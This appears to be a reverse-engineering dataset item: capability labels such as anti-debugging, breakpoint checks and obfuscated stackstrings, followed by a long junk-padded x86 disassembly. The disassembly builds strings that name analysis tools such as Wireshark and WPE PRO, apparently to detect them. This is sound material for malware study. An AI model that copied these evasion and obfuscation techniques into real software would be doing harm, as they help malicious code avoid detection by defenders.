Function at 0x189afe8
Capabilities:
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov word [esp + 0x89e], si
stc
cmc
mov word [esp + 0x8a0], si
bswap esi
bsf esi, eax
xchg esi, esi
mov esi, 0x20
clc
mov word [esp + 0x8a2], si
bts si, bx
mov esi, 0x36
mov word [esp + 0x8a4], si
sar si, 0x52
mov esi, 0x46
mov word [esp + 0x8a6], si
mov esi, 0x20
mov word [esp + 0x8a8], si
bswap si
mov esi, 0x30
mov word [esp + 0x8aa], si
cmp ebx, edi
test sp, cx
mov word [esp + 0x8ac], si
jmp 0x764690
mov byte [esp + 0x3ac], 0x78
mov byte [esp + 0x3ad], al
test di, cx
test eax, 0x2342abb
mov byte [esp + 0x3ae], bl
cmp di, 0x7578
cmc
mov byte [esp + 0x30c], 0x4b
test ecx, eax
stc
mov byte [esp + 0x30d], al
test ebp, 0x5783cf0
mov byte [esp + 0x30e], 0x79
clc
jmp 0x17ca636
mov word [esp + 0x83c], si
btr esi, edi
mov esi, 0x30
cmp edx, 0x2f4d5267
cmc
test eax, esp
mov word [esp + 0x83e], si
stc
test sp, bp
mov word [esp + 0x840], si
inc esi
mov esi, 0x20
jmp 0x18702ea
mov byte [esp + 0x31e], 0x6d
mov byte [esp + 0x31f], cl
cmp ebp, 0x274f335f
mov byte [esp + 0x320], 0x2e
mov byte [esp + 0x321], cl
cmp bh, bl
mov byte [esp + 0x322], 0x63
mov byte [esp + 0x323], 0x6b
stc
cmp di, ax
jmp 0x18361a7
mov byte [esp + 0x695], 0x64
mov byte [esp + 0x696], al
mov byte [esp + 0x697], dl
or si, 0x94f
test edi, ebx
mov byte [esp + 0x698], 0x6b
mov byte [esp + 0x699], al
clc
mov byte [esp + 0x69a], 0x64
mov byte [esp + 0x69b], 0x5f
mov byte [esp + 0x69c], 0x67
sub si, 0x320b
mov byte [esp + 0x69d], dl
btc si, 0x91
mov byte [esp + 0x69e], 0x6b
sub si, 0x1983
shr si, 0xa8
mov byte [esp + 0x69f], bl
mov byte [esp + 0x4e0], 0x49
bts esi, ebx
rcr esi, 5
ror si, 7
mov byte [esp + 0x4e1], 0x44
xadd si, si
cmovae esi, ebp
mov byte [esp + 0x4e2], 0x45
mov byte [esp + 0x4e3], 0x4f
stc
mov byte [esp + 0x4e4], 0x77
btc si, 0x22
xadd si, si
mov byte [esp + 0x4e5], 0x6e
and si, 0x6ae8
mov byte [esp + 0x4e6], al
ror si, 0xff
shl si, 0xe1
mov byte [esp + 0x4e7], 0x72
btr esi, 0x76
mov esi, 0x398966cb
mov byte [esp + 0x4e8], bl
sbb si, bx
mov byte [esp + 0x454], 0x56
xor esi, edx
mov byte [esp + 0x455], 0x42
btr esi, edx
movsx esi, di
mov byte [esp + 0x456], 0x35
btc esi, ecx
bsr esi, esp
mov byte [esp + 0x457], 0x2e
sbb esi, ebp
stc
mov byte [esp + 0x458], 0x45
mov byte [esp + 0x459], 0x58
mov byte [esp + 0x45a], 0x45
stc
add esi, 0x2bf13132
mov byte [esp + 0x45b], bl
stc
mov byte [esp + 0x48c], 0x56
btc si, 0x5b
mov byte [esp + 0x48d], 0x42
mov byte [esp + 0x48e], 0x36
cmc
or esi, 0xf0247cf
mov byte [esp + 0x48f], 0x2e
cmp ah, 1
bts esi, edi
adc esi, ecx
mov byte [esp + 0x490], 0x45
not esi
btr esi, 0x20
movsx esi, sp
mov byte [esp + 0x491], 0x58
mov byte [esp + 0x492], 0x45
mov si, 0x118c
sal esi, 0x6e
sbb esi, edx
mov byte [esp + 0x493], bl
mov byte [esp + 0x510], 0x57
movsx esi, cx
or esi, esp
mov byte [esp + 0x511], 0x2d
movzx esi, dx
bt esi, 0xbd
mov byte [esp + 0x512], 0x50
shld esi, eax, 0x39
movsx esi, dx
btr si, 0x54
mov byte [esp + 0x513], 0x2d
mov byte [esp + 0x514], 0x45
btr esi, esp
mov byte [esp + 0x515], 0x2e
mov byte [esp + 0x516], al
adc esi, 0x5ac437c6
shrd esi, ebx, 0x34
sbb si, 0x4707
mov byte [esp + 0x517], 0x78
adc esi, 0x551926eb
mov byte [esp + 0x518], al
or esi, 0x23d10e2c
mov byte [esp + 0x519], bl
mov byte [esp + 0x588], 0x57
sub si, 0x1de8
shl si, 0x4c
or si, 0x15b3
mov byte [esp + 0x589], 0x50
sbb esi, 0x32f8393b
rol esi, 3
shld esi, edi, 0x83
mov byte [esp + 0x58a], 0x45
sbb si, 0x65d4
mov byte [esp + 0x58b], 0x20
mov byte [esp + 0x58c], 0x50
bsf si, sp
cmp di, di
mov byte [esp + 0x58d], 0x52
mov byte [esp + 0x58e], 0x4f
clc
mov byte [esp + 0x58f], 0x2e
sub esi, 0x14816d9
movzx esi, si
mov byte [esp + 0x590], al
and si, 0x984
mov byte [esp + 0x591], 0x78
bt si, bx
sbb si, ax
mov byte [esp + 0x592], al
test edx, edi
mov byte [esp + 0x593], bl
mov byte [esp + 0x534], 0x57
xchg esi, esi
mov byte [esp + 0x535], al
add si, 0x33d7
mov esi, 0x36
test si, cx
mov word [esp + 0xa8c], si
bts esi, ebp
mov esi, 0x38
cmc
mov word [esp + 0xa8e], si
mov esi, 0x20
stc
test eax, 0x50f671a0
mov word [esp + 0xa90], si
rol si, 0x38
not esi
mov esi, 0x31
cmp cx, 0x3b3b
mov word [esp + 0xa92], si
mov esi, 0x39
mov word [esp + 0xa94], si
bts si, sp
rcr esi, 0xd
mov esi, 0x20
test si, bx
cmp esp, 0x40a6742e
mov word [esp + 0xa96], si
mov esi, 0x30
jmp 0x72d4b4
mov word [esp + 0x7f4], si
mov esi, 0x35
cmp bp, 0x6332
mov word [esp + 0x7f6], si
jmp 0x775a15
call fcn.00474a30
mov eax, dword [0x51f620]
xor eax, esp
or cl, 5
inc dl
mov dword [esp + 0x1420], eax
push ebx
or dl, 0xb3
dec cl
push esi
push edi
xor al, bh
test si, 0x773a
mov eax, dword [0x51f620]
xor eax, esp
cmp dx, 0x4038
push eax
lea eax, [esp + 0x1438]
mov dword fs:[0], eax
sal cl, cl
xor ebx, ebx
mov cl, 0x6f
or si, 0x3a11
mov al, 0x6a
shrd si, sp, 0x98
stc
mov byte [esp + 0x38f], al
stc
or si, 0xf92
clc
mov byte [esp + 0x4d6], al
sub si, 0xf83
ror dl, cl
mov byte [esp + 0x496], al
mov al, 0x65
clc
or esi, edi
mov byte [esp + 0x38c], 0x5f
bt si, 0x72
cmc
sar esi, 0x22
mov byte [esp + 0x38d], cl
adc esi, esi
mov byte [esp + 0x38e], 0x62
shr dl, cl
mov byte [esp + 0x390], bl
mov byte [esp + 0x4d4], cl
add esi, ecx
or esi, 0x6e9c2cc6
mov byte [esp + 0x4d5], 0x62
mov byte [esp + 0x4d7], 0x5f
shr esi, 0xa1
mov byte [esp + 0x4d8], 0x66
and si, 0x1825
sub dl, 0x58
mov byte [esp + 0x4d9], cl
stc
and si, 0x37ea
mov byte [esp + 0x4da], 0x72
mov byte [esp + 0x4db], 0x6d
mov byte [esp + 0x4dc], bl
xadd esi, esi
mov byte [esp + 0x494], cl
test ebp, 0x366c34a8
add dl, al
xadd dl, dl
mov byte [esp + 0x495], 0x62
xor si, 0x4b4f
xor dl, al
mov byte [esp + 0x497], 0x5f
xor dl, 0x68
and si, 0x49ac
bsr si, si
mov byte [esp + 0x498], 0x61
mov byte [esp + 0x499], 0x70
or dl, 0xf1
mov byte [esp + 0x49a], 0x70
mov byte [esp + 0x49b], bl
jmp 0x72fec2
mov byte [esp + 0x32c], 0x78
rcr si, 0x93
and si, 0x3e86
btr esi, 0x52
mov byte [esp + 0x32d], 0x68
mov si, 0x5de9
movsx esi, bp
mov byte [esp + 0x32e], 0x6b
mov byte [esp + 0x32f], 0x2e
inc si
ror esi, 0xea
mov byte [esp + 0x330], 0x64
mov byte [esp + 0x331], 0x6c
mov byte [esp + 0x332], 0x6c
xadd esi, esi
btc si, 6
mov byte [esp + 0x333], bl
mov byte [esp + 0x51c], 0x57
mov byte [esp + 0x51d], 0x69
mov byte [esp + 0x51e], 0x72
add esi, 0x1d38017b
mov byte [esp + 0x51f], al
sub si, 0x1bbf
xchg esi, esi
btr si, di
mov byte [esp + 0x520], dl
and esi, 0x1470529d
rcr si, 0xcd
mov byte [esp + 0x521], 0x68
btc esi, 1
mov byte [esp + 0x522], 0x61
not si
mov byte [esp + 0x523], 0x72
shrd si, dx, 0xe2
mov byte [esp + 0x524], 0x6b
mov byte [esp + 0x525], bl
not si
clc
mov byte [esp + 0x404], 0x2e
bts si, si
clc
mov byte [esp + 0x405], 0x70
bts si, si
bt esi, 0xf6
mov byte [esp + 0x406], 0x63
cmc
neg si
mov byte [esp + 0x407], 0x61
mov byte [esp + 0x408], 0x70
sbb si, di
bts esi, ecx
mov byte [esp + 0x409], bl
mov esi, 0x230b0355
mov byte [esp + 0x5f4], 0x43
not si
mov byte [esp + 0x5f5], 0x61
mov byte [esp + 0x5f6], 0x70
cmovnp esi, esp
mov byte [esp + 0x5f7], 0x74
sbb si, 0x41bd
jmp 0x76a32a
mov byte [esp + 0x3b7], 0x33
stc
cmp esp, 0x1eed50e4
mov byte [esp + 0x3b8], 0x38
jmp 0x18568d2
mov byte [esp + 0x3de], al
inc si
mov byte [esp + 0x3df], 0x72
or esi, esp
adc si, cx
mov byte [esp + 0x3e0], 0x5d
cmovnp si, sp
bswap si
mov byte [esp + 0x3e1], bl
mov byte [esp + 0x33c], 0x23
mov byte [esp + 0x33d], 0x33
test bp, 0x3b17
movsx esi, cx
movzx esi, sp
mov byte [esp + 0x33e], 0x32
or si, bx
bt esi, 0xd5
mov byte [esp + 0x33f], 0x37
shr si, 0xcd
mov byte [esp + 0x340], 0x37
inc si
mov byte [esp + 0x341], 0x30
mov byte [esp + 0x342], bl
mov byte [esp + 0x394], 0x43
mov byte [esp + 0x395], cl
xor esi, 0x3968539c
mov byte [esp + 0x396], 0x6d
xor esi, eax
mov byte [esp + 0x397], 0x62
shld esi, eax, 0x43
mov byte [esp + 0x398], cl
movzx esi, sp
mov byte [esp + 0x399], 0x4c
sar esi, 0x6b
mov byte [esp + 0x39a], 0x42
cmc
mov byte [esp + 0x39b], cl
cmp cx, si
mov byte [esp + 0x39c], 0x78
mov byte [esp + 0x39d], bl
mov byte [esp + 0x4bc], 0x70
adc esi, ecx
btc esi, ebx
btr si, dx
mov byte [esp + 0x4bd], 0x63
bt si, dx
mov byte [esp + 0x4be], 0x68
clc
mov byte [esp + 0x4bf], 0x75
sub esi, ebp
mov byte [esp + 0x4c0], 0x6e
mov si, 0x1f0d
shl esi, 0xc7
mov byte [esp + 0x4c1], 0x74
rcl esi, 0xa7
mov byte [esp + 0x4c2], al
inc si
mov byte [esp + 0x4c3], 0x72
cmovne si, ax
mov byte [esp + 0x4c4], bl
jmp 0x17f3838
mov word [esp + 0x890], si
add esi, esp
shl si, 0xc6
mov esi, 0x9972a40
mov esi, 0x30
test bp, dx
mov word [esp + 0x892], si
stc
mov word [esp + 0x894], si
mov esi, 0x20
stc
mov word [esp + 0x896], si
test sp, si
ror si, 0xaa
mov esi, 0x36
test esp, edx
cmp dl, 0x6a
mov word [esp + 0x898], si
mov esi, ebx
sub esi, ecx
stc
mov esi, 0x34
mov word [esp + 0x89a], si
xadd si, si
rcr esi, 0x9c
mov esi, 0x20
cmc
mov word [esp + 0x89c], si
mov esi, 0x30
jmp 0x531a43
mov word [esp + 0x884], si
mov esi, 0x30
stc
mov word [esp + 0x886], si
test cl, dl
mov word [esp + 0x888], si
mov esi, 0x20
mov word [esp + 0x88a], si
adc si, 0x2654
mov esi, 0x36
cmc
stc
mov word [esp + 0x88c], si
mov esi, 0x39
stc
cmp di, si
mov word [esp + 0x88e], si
xor esi, 0x674b614f
mov esi, 0x20
jmp 0x635c37
mov word [esp + 0x926], si
jmp 0x17ac862
mov word [esp + 0xa60], si
mov esi, 0x35
mov word [esp + 0xa62], si
ror esi, 0xd8
jmp 0x189344d
mov byte [esp + 0x60d], cl
mov byte [esp + 0x60e], 0x6e
mov byte [esp + 0x60f], 0x2e
mov byte [esp + 0x610], 0x74
test cl, 0
clc
cmp edi, ecx
mov byte [esp + 0x611], 0x78
mov byte [esp + 0x612], 0x74
mov byte [esp + 0x613], bl
mov byte [esp + 0x57c], 0x4d
mov byte [esp + 0x57d], cl
clc
test sp, 0x3c6f
mov byte [esp + 0x57e], 0x6e
mov byte [esp + 0x57f], dl
mov byte [esp + 0x580], 0x74
cmc
test dx, sp
mov byte [esp + 0x581], al
cmp ch, 0x70
mov byte [esp + 0x582], 0x72
mov byte [esp + 0x583], 0x2e
cmp ecx, esp
mov byte [esp + 0x584], 0x74
cmc
cmp si, 0x7af4
test edx, 0x4e3d0b0f
mov byte [esp + 0x585], 0x78
stc
mov byte [esp + 0x586], 0x74
jmp 0x1784fa2
mov word [esp + 0xa64], si
and si, 0x3659
movsx esi, si
mov esi, 0x20
mov word [esp + 0xa66], si
add esi, eax
mov esi, 0x36
mov word [esp + 0xa68], si
mov esi, 0x38
mov word [esp + 0xa6a], si
mov esi, 0x20
cmp dh, ch
cmp esp, 0x42f12248
mov byte [esp + 0x604], 0x74
mov byte [esp + 0x605], 0x72
jmp 0x17b4ed3
mov word [esp + 0xa4a], si
shr esi, 0x28
mov esi, 0x42
test eax, esp
mov word [esp + 0xa4c], si
mov esi, 0x20
jmp 0x177d9e5
mov word [esp + 0x860], si
bt esi, 0x94
or si, cx
mov esi, 0x30
test esp, eax
stc
cmc
mov word [esp + 0x862], si
clc
cmp ecx, edx
mov word [esp + 0x864], si
add si, di
mov esi, 0x20
stc
test ecx, 0x50477082
mov word [esp + 0x866], si
bts si, dx
not esi
mov esi, 0x36
mov word [esp + 0x868], si
bsr esi, edi
bts si, ax
cmp di, si
mov esi, 0x46
stc
test si, 0x3d50
mov word [esp + 0x86a], si
mov esi, 0x20
mov word [esp + 0x86c], si
bsr esi, ebx
sub si, 0x7510
mov esi, 0x30
jmp 0x74d028
mov byte [esp + 0x60a], 0x61
mov byte [esp + 0x60b], 0x74
mov byte [esp + 0x60c], 0x69
test esi, ebx
jmp 0x68b814
mov word [esp + 0x8bc], si
cmc
mov word [esp + 0x8be], si
mov esi, 0x20
cmp sp, ax
mov word [esp + 0x8c0], si
mov esi, 0x30
cmp dh, 0x4d
cmp ebx, ecx
mov word [esp + 0x8c2], si
mov word [esp + 0x8c4], si
clc
jmp 0x18dc103
mov word [esp + 0xa98], si
stc
cmp bx, bp
mov word [esp + 0xa9a], si
mov esi, 0x20
cmc
mov word [esp + 0xa9c], si
sbb esi, eax
mov esi, 0x30
test dx, bp
clc
cmp di, 0x593
mov word [esp + 0xa9e], si
test al, 0x1a
cmc
jmp 0x18613b6
mov byte [esp + 0x44c], 0x57
dec si
btc si, 0x2c
or dl, 0x64
mov byte [esp + 0x44d], 0x69
sbb esi, eax
cmc
mov byte [esp + 0x44e], 0x6e
mov byte [esp + 0x44f], 0x64
add esi, edx
mov byte [esp + 0x450], cl
not si
mov byte [esp + 0x451], 0x77
mov byte [esp + 0x452], bl
mov byte [esp + 0x414], 0x43
mov byte [esp + 0x415], 0x68
cmp bp, sp
and esi, esi
mov byte [esp + 0x416], al
bt esi, edx
mov byte [esp + 0x417], 0x61
xadd esi, esi
mov byte [esp + 0x418], 0x74
and esi, 0x72733dc7
mov byte [esp + 0x419], 0x20
mov byte [esp + 0x41a], 0x45
mov byte [esp + 0x41b], 0x6e
or esi, 0xf11736c
mov byte [esp + 0x41c], 0x67
ror dl, cl
sar si, 0x56
mov byte [esp + 0x41d], 0x69
sar si, 0xfc
mov byte [esp + 0x41e], 0x6e
mov byte [esp + 0x41f], al
shr si, 0x2f
stc
sar dl, cl
mov byte [esp + 0x420], bl
bt esi, ebx
rcl dl, cl
cmp ebp, edi
mov byte [esp + 0x63c], 0x54
mov dl, bl
mov byte [esp + 0x63d], 0x56
not dl
mov byte [esp + 0x63e], 0x61
sbb dl, 0xab
cmp ch, 0xbc
mov byte [esp + 0x63f], 0x6c
mov byte [esp + 0x640], 0x75
mov byte [esp + 0x641], al
mov byte [esp + 0x642], 0x43
mov byte [esp + 0x643], 0x68
rcr dl, 0xea
test di, sp
add dl, al
mov byte [esp + 0x644], 0x61
mov byte [esp + 0x645], 0x6e
mov byte [esp + 0x646], 0x67
movzx esi, ax
ror dl, 0xe
mov byte [esp + 0x647], al
bts si, ax
add dl, 0x97
mov byte [esp + 0x648], 0x46
mov byte [esp + 0x649], cl
cmc
mov byte [esp + 0x64a], 0x72
mov byte [esp + 0x64b], 0x6d
sub dl, dl
sbb esi, 0x551f4a0a
mov byte [esp + 0x64c], bl
cmp ebp, 0x1e465166
bsr esi, edi
mov byte [esp + 0x4f8], 0x72
test esp, edx
mov byte [esp + 0x4f9], 0x61
shl dl, 0x8e
mov byte [esp + 0x4fa], 0x70
xchg esi, esi
adc esi, 0x2ff931a6
mov byte [esp + 0x4fb], 0x68
mov byte [esp + 0x4fc], 0x20
bt esi, edi
rcr si, 0x28
mov byte [esp + 0x4fd], 0x2d
mov byte [esp + 0x4fe], 0x20
ror dl, 0x25
mov byte [esp + 0x4ff], 0x5b
or dl, 0x84
mov byte [esp + 0x500], bl
mov byte [esp + 0x444], 0x2e
mov byte [esp + 0x445], 0x53
rcr dl, cl
add dl, 0x1a
bswap esi
mov byte [esp + 0x446], 0x50
rcr dl, 0x5a
neg dl
mov byte [esp + 0x447], 0x4b
mov esi, esp
cmc
rcl dl, 0x96
mov byte [esp + 0x448], 0x58
mov byte [esp + 0x449], 0x5d
sbb dl, 0x43
btr esi, 0xb8
mov byte [esp + 0x44a], bl
clc
mov byte [esp + 0x4b0], 0x5b
btr si, 0xd1
mov byte [esp + 0x4b1], cl
cmp dl, cl
mov dl, 0x73
mov esi, eax
bsr esi, esp
or esi, edx
mov byte [esp + 0x4b2], 0x6e
and si, ax
or si, bx
mov byte [esp + 0x4b3], 0x68
bsf esi, ecx
xor esi, ecx
mov byte [esp + 0x4b4], cl
btr esi, 0x9d
cmp bx, dx
mov byte [esp + 0x4b5], cl
btc esi, esi
mov byte [esp + 0x4b6], 0x6b
rol esi, 0xb6
xchg esi, esi
xadd si, si
mov byte [esp + 0x4b7], 0x2e
or si, 0x413a
adc esi, 0x3aec6993
mov byte [esp + 0x4b8], bl
rcl esi, 0xae
mov byte [esp + 0x3dc], 0x2e
btr esi, ebp
test bh, 0x5a
mov byte [esp + 0x3dd], dl
bt si, 7
jmp 0x5f7239
mov word [esp + 0x8b6], si
cmp bp, di
mov word [esp + 0x8b8], si
shr si, 0xed
mov esi, 0x20
stc
test si, 0x4723
mov word [esp + 0x8ba], si
jmp 0x1776a0f
mov word [esp + 0x86e], si
cmp di, 0x5167
mov word [esp + 0x870], si
shrd si, bp, 0x3d
mov esi, 0x20
jmp 0x177b3fe
mov esi, 0x20
cmp ch, 0xbd
mov word [esp + 0x8ae], si
bt si, bx
bt esi, 0x11
mov si, 0x289f
mov esi, 0x36
mov word [esp + 0x8b0], si
mov esi, 0x45
test cl, 0xb5
mov word [esp + 0x8b2], si
mov esi, 0x20
mov word [esp + 0x8b4], si
sbb esi, 0x7c167851
mov esi, 0x30
jmp 0x7444b0
mov byte [esp + 0x5f8], 0x75
mov byte [esp + 0x5f9], 0x72
bt si, bx
xadd esi, esi
mov byte [esp + 0x5fa], 0x69
mov byte [esp + 0x5fb], 0x6e
clc
mov byte [esp + 0x5fc], 0x67
jmp 0x18592c3
xor esi, esi
mov word [esp + 0x7f8], si
mov esi, 0x35
cmp dl, 0x4c
test al, dh
mov word [esp + 0x7fc], si
rcl esi, 0xc8
adc si, dx
mov esi, 0x43
stc
test bp, 0x5cca
mov word [esp + 0x7fe], si
inc si
test esp, ebp
btr esi, ebx
mov esi, 0x20
mov word [esp + 0x800], si
mov esi, 0x30
cmp dh, 0x99
stc
mov word [esp + 0x802], si
mov word [esp + 0x804], si
mov esi, 0x20
mov word [esp + 0x806], si
and si, bp
mov esi, 0x36
jmp 0x17ddff3
push eax
push ecx
not ah
cwde
mov eax, 0x1424
jmp 0x5bb9b7
mov word [esp + 0x878], si
mov esi, 0x30
mov word [esp + 0x87a], si
stc
mov word [esp + 0x87c], si
movsx esi, bp
mov esi, 0x20
test cx, 0x14ef
cmp ah, 0x76
mov word [esp + 0x87e], si
shld si, cx, 0x42
test ax, di
mov esi, 0x36
cmp eax, edx
jmp 0x18955da
mov word [esp + 0xa5e], si
mov esi, 0x20
jmp 0x66c45e
mov word [esp + 0x84c], si
mov esi, 0x20
clc
mov word [esp + 0x84e], si
mov esi, 0x36
mov word [esp + 0x850], si
mov esi, 0x35
mov word [esp + 0x852], si
rcl esi, 0xa1
mov esi, 0x20
cmc
mov word [esp + 0x854], si
mov si, dx
bts si, dx
adc esi, edi
mov esi, 0x30
cmp cl, 0xcd
mov word [esp + 0x856], si
cmp eax, 0x34241efd
mov word [esp + 0x858], si
cmp ebp, edi
xor esi, esi
test dl, 0xd0
clc
mov word [esp + 0x85a], si
jmp 0x188d332
mov esi, 0x30
jmp 0x71957a
mov byte [esp + 0x4ce], 0x78
sbb esi, 0x51f4103a
bsf si, sp
sub si, 0x943
mov byte [esp + 0x4cf], 0x74
bts si, di
mov byte [esp + 0x4d0], bl
xor si, 0x2f28
xadd si, si
mov byte [esp + 0x5e4], 0x47
mov byte [esp + 0x5e5], al
mov byte [esp + 0x5e6], 0x74
mov byte [esp + 0x5e7], 0x56
mov byte [esp + 0x5e8], al
mov byte [esp + 0x5e9], 0x72
bts esi, eax
btc si, 0x89
mov byte [esp + 0x5ea], dl
test esi, 0x7e077cba
mov si, 0x5215
mov byte [esp + 0x5eb], 0x69
xor si, 0x46f5
shl esi, 0x5a
ror esi, 0xf5
mov byte [esp + 0x5ec], cl
mov byte [esp + 0x5ed], 0x6e
mov esi, esp
sal si, 0x19
mov byte [esp + 0x5ee], 0x2e
mov byte [esp + 0x5ef], al
rcr si, 0xf6
btc esi, ecx
mov byte [esp + 0x5f0], 0x78
sub si, 0x3fba
or esi, ebx
cmp dx, 0x64e1
mov byte [esp + 0x5f1], al
cmp dx, bp
mov byte [esp + 0x5f2], bl
cmp esp, ebx
bts esi, edx
bsr esi, esp
mov byte [esp + 0x628], 0x48
mov byte [esp + 0x629], cl
btc esi, ebx
test ebp, ebp
shrd esi, esp, 0x44
mov byte [esp + 0x62a], 0x74
mov byte [esp + 0x62b], 0x6b
bswap esi
mov byte [esp + 0x62c], al
adc esi, ebx
xchg esi, esi
mov byte [esp + 0x62d], 0x79
dec esi
not esi
mov byte [esp + 0x62e], dl
mov byte [esp + 0x62f], 0x61
rcr esi, 0x6d
mov byte [esp + 0x630], 0x6d
neg si
or si, bp
mov byte [esp + 0x631], 0x70
mov byte [esp + 0x632], 0x6c
bswap esi
shld esi, edx, 0x31
mov byte [esp + 0x633], al
cmp ebp, ebp
btr esi, 0x2d
mov byte [esp + 0x634], 0x2e
mov byte [esp + 0x635], 0x74
cmp edx, ebp
sbb si, dx
clc
mov byte [esp + 0x636], 0x78
mov byte [esp + 0x637], 0x74
bswap si
stc
mov byte [esp + 0x638], bl
shld esi, esi, 3
mov byte [esp + 0x540], 0x53
mov byte [esp + 0x541], 0x61
shr si, 0xc7
mov byte [esp + 0x542], 0x6d
neg esi
rcl esi, 0xde
sbb esi, esi
mov byte [esp + 0x543], 0x70
bts esi, esi
cmc
mov byte [esp + 0x544], 0x6c
mov si, 0x28ab
or esi, edx
bsr esi, eax
mov byte [esp + 0x545], al
mov byte [esp + 0x546], 0x2e
mov byte [esp + 0x547], 0x74
bt esi, edx
mov byte [esp + 0x548], 0x78
mov byte [esp + 0x549], 0x74
mov byte [esp + 0x54a], bl
jmp 0x18051bd
mov word [esp + 0xad0], si
shrd si, bp, 0x74
mov esi, 0x30
test di, cx
cmp esi, eax
mov word [esp + 0xad2], si
mov word [esp + 0xad4], si
mov esi, 0x20
cmc
mov word [esp + 0xad6], si
ror esi, 0x26
mov esi, 0x30
mov word [esp + 0xad8], si
test dx, sp
mov word [esp + 0xada], si
mov esi, 0x20
mov word [esp + 0xadc], si
sar esi, 0x37
xadd si, si
cmc
mov esi, 0x45
jmp loc.0043be45
mov esi, 0x35
cmc
cmp ah, 0xc5
mov word [esp + 0x882], si
rol esi, 0xcc
mov esi, 0x20
cmp ax, 0x657e
cmp cl, ch
test dl, ah
mov byte [esp + 0x3b5], 0x31
mov byte [esp + 0x3b6], 0x36
jmp 0x5ed2c1
mov word [esp + 0x872], si
mov si, ax
sbb si, 0x5588
adc esi, 0x6b393d01
mov esi, 0x37
jmp 0x178f679
mov word [esp + 0xa4e], si
clc
bsr esi, eax
mov esi, 0x36
mov word [esp + 0xa50], si
bswap esi
xchg si, si
mov esi, 0x39
jmp 0x183127c
mov byte [esp + 0x587], bl
clc
mov byte [esp + 0x2f4], 0x2e
mov byte [esp + 0x2f5], 0x74
stc
test sp, 0x46f2
mov byte [esp + 0x2f6], 0x78
stc
test bh, dh
mov byte [esp + 0x2f7], 0x74
stc
mov byte [esp + 0x2f8], bl
mov byte [esp + 0x344], 0x25
mov byte [esp + 0x345], dl
mov byte [esp + 0x346], 0x25
cmp ebx, esp
mov byte [esp + 0x347], dl
mov byte [esp + 0x348], 0x25
cmp dx, 0x3bf8
cmc
mov byte [esp + 0x349], dl
mov byte [esp + 0x34a], bl
jmp 0x18110c1
mov word [esp + 0xab4], si
mov esi, 0x20
mov word [esp + 0xab6], si
mov esi, 0x3f
mov word [esp + 0xab8], si
mov esi, 0x20
cmp sp, di
cmc
stc
mov word [esp + 0xaba], si
cmc
sub si, cx
sal si, 0xed
mov esi, 0x3f
mov word [esp + 0xabc], si
mov esi, 0x20
cmc
cmp di, 0x4f63
mov word [esp + 0xabe], si
test edi, eax
mov esi, 0x36
cmc
jmp 0x1787f1c
mov word [esp + 0xac0], si
mov esi, 0x38
mov word [esp + 0xac2], si
adc si, 0x662
mov esi, 0x20
test eax, esi
cmp ax, di
mov word [esp + 0xac4], si
cmc
mov si, sp
mov esi, 0x30
clc
cmc
cmp dx, 0xb34
mov word [esp + 0xac6], si
rol si, 0x3f
mov esi, 0x36
cmc
test bp, 0x64
mov word [esp + 0xac8], si
movzx esi, dx
mov esi, 0x20
cmp sp, 0x54c6
mov word [esp + 0xaca], si
mov si, 0x763e
mov esi, 0x30
test ax, sp
mov word [esp + 0xacc], si
mov word [esp + 0xace], si
shrd esi, edi, 0x41
dec esi
btc esi, ebp
mov esi, 0x20
jmp 0x177a0ac
mov word [esp + 0xa48], si
mov esi, 0x34
test ecx, 0x79d54e0a
jmp 0x6c8a9a
mov word [esp + 0x874], si
shld si, ax, 0xf6
btc esi, 0x9c
mov esi, 0x33
stc
mov word [esp + 0x876], si
cmovge si, dx
dec esi
rol esi, 0x48
mov esi, 0x20
jmp 0x7790b2
mov word [esp + 0x7e8], si
bt si, dx
mov esi, 0x37
test ecx, ebx
test edx, 0x4941674
mov word [esp + 0x7ea], si
rol si, 0x10
sal si, 0x10
mov esi, 0x20
clc
cmp esi, 0x21a31df8
mov word [esp + 0x7ec], si
or si, si
mov esi, 0x37
clc
mov word [esp + 0x7ee], si
mov esi, 0x44
test edi, ecx
clc
mov word [esp + 0x7f0], si
bsf esi, ebp
xor si, 0x6756
mov esi, 0x20
mov word [esp + 0x7f2], si
shl si, 0xc3
not si
mov esi, 0x33
jmp 0x5bb2d5
mov word [esp + 0x928], si
rcr esi, 0xab
bts si, dx
bt si, 0x99
mov esi, 0x20
stc
test bp, dx
mov word [esp + 0x92a], si
mov esi, 0x36
mov word [esp + 0x92c], si
bsr si, sp
shl esi, 0x7f
mov esi, 0x43
jmp 0x17bc3d1
mov byte [esp + 0x606], 0x61
test ah, 0xc3
clc
mov byte [esp + 0x607], 0x6e
cmp edx, 0x682b6d35
mov byte [esp + 0x608], dl
stc
cmp bh, 0x45
mov byte [esp + 0x609], 0x6c
jmp 0x6ebd41
mov word [esp + 0x92e], si
clc
sbb esi, 0x7eb1eb3
xor esi, edx
mov esi, 0x20
clc
mov word [esp + 0x930], si
dec esi
mov esi, 0x30
mov word [esp + 0x932], si
stc
mov word [esp + 0x934], si
mov si, bx
mov esi, 0x20
mov word [esp + 0x936], si
add esi, esp
movsx esi, dx
btr esi, 0x72
mov esi, 0x30
test cx, bx
mov word [esp + 0x938], si
mov word [esp + 0x93a], si
and si, 0x4b29
mov esi, 0x20
stc
jmp 0x1894169
mov byte [esp + 0x30f], 0x2e
cmc
mov byte [esp + 0x310], 0x64
clc
stc
mov byte [esp + 0x311], 0x6c
mov byte [esp + 0x312], 0x6c
mov byte [esp + 0x313], bl
test ecx, 0x216d1135
jmp 0x6371fb
mov word [esp + 0x808], si
mov si, bp
mov esi, 0x46
test bx, 0x7416
stc
mov word [esp + 0x80a], si
mov esi, 0x20
test cx, bx
mov word [esp + 0x80c], si
cmp sp, si
bsr esi, esp
mov esi, 0x30
clc
cmp ch, 0x1c
test dx, 0x7967
mov word [esp + 0x80e], si
test eax, 0x4de7d21
cmc
cmp bl, ch
mov word [esp + 0x810], si
bsf esi, esi
clc
mov esi, 0x20
cmc
cmp ch, 0x91
test edx, edx
mov word [esp + 0x812], si
mov esi, 0x36
cmp di, 0x536f
mov word [esp + 0x814], si
rcl esi, 0xee
mov esi, 0x43
cmp edx, edi
stc
mov word [esp + 0x816], si
mov esi, 0x20
mov word [esp + 0x818], si
dec esi
mov esi, 0x30
mov word [esp + 0x81a], si
mov word [esp + 0x81c], si
mov esi, 0x20
mov word [esp + 0x81e], si
mov esi, 0x36
mov word [esp + 0x820], si
bts si, ax
mov esi, 0x34
test ecx, 0x5db406b
stc
mov word [esp + 0x822], si
